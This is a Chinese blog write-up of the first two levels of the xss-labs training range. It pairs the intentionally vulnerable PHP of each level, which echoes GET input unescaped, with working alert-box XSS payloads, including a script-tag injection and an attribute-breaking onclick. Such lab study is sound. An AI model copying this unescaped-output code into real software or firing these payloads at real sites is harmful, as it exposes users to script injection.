zoukankan      html  css  js  c++  java
  • XSS跨站攻击靶场-通关笔记

    XSS攻击是Web攻击中最常见的攻击手法之一,XSS中文名跨站脚本攻击,该攻击是指攻击者在网页中嵌入恶意的客户端脚本,通常是使用JS编写的恶意代码,当正常用户访问被嵌入代码的页面时,恶意代码将会在用户的浏览器上执行,所以XSS攻击主要时针对客户端的攻击手法。

    当下常见的 XSS 攻击有三种:反射型、DOM型、存储型。 其中反射型、DOM型可以归类为非持久型 XSS 攻击,存储型归类为持久型 XSS 攻击。

    练习环境:https://github.com/lyshark/xss-labs.git

    第一关

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["name"];
    echo "<h2 align=center>欢迎用户".$str."</h2>";
    ?>
    

    payload : lyshark.com/level1.php?name= <script>alert('hello');</script>

    第二关

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level2.php method=GET>
    <input name=keyword  value="'.$str.'">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center>';
    ?>
    

    首先确定输入后的内容,在哪里显示出来了。

    发现能够闭合

    |"><script>alert('xss');</script>| <input name=keyword value=""><script>alert('xss');</script>">|
    |"onclick="window.alert() | <input name=keyword value=""onclick="window.alert()">|

  • 相关阅读:
    vue监听多个变量的方法
    Unicode与JavaScript详解
    两个数组合并的方法
    第13章 事件
    第12章 DOM2和DOM3
    IIS发布WebService的一些常见问题
    Openlayers修改矢量要素并且可捕捉
    Openlayers修改矢量要素
    openlayers画图形返回范围
    前台html与后台php通信(上传文件)
  • 原文地址:https://www.cnblogs.com/LyShark/p/11330674.html
Copyright © 2011-2022 走看看